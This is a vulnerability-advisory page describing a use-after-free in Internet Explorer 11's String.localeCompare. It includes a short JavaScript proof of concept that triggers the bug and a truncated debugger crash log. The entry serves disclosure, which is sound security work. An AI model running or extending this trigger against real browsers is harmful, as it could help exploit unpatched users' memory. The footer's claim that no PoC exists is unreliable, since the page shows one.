IE11: Use-after-free in String.localeCompare

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

There is a Use-after-free vulnerability in Internet Explorer that could potentially be used for memory disclosure. This was tested on IE11 running on Window 7 64-bit with the latest patches applied. PoC: ``` <!-- saved from url=(0014)about:internet --> <script> var vars = new Array(2); function main() { vars[0] = new Array(1000000); vars[1] = String.prototype.substr.call(vars[0], 100); var o = {}; o.toString = f8; String.prototype.localeCompare.call(vars[1], o); } function f8(arg7, arg8, arg9) { alert(vars[1]); CollectGarbage(); } main(); </script> ``` Debug log: ``` (cd8.f10): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=6ccdaf9c ebx=00000000 ecx=0dd800d8 edx=00000009 esi=0a05bad4 edi=00d63ee0 eip=74ec3ced esp=0a05ba84 ebp=0a05bab8 iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 kernel32!LongCompareString+0x153: 74ec3ced...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息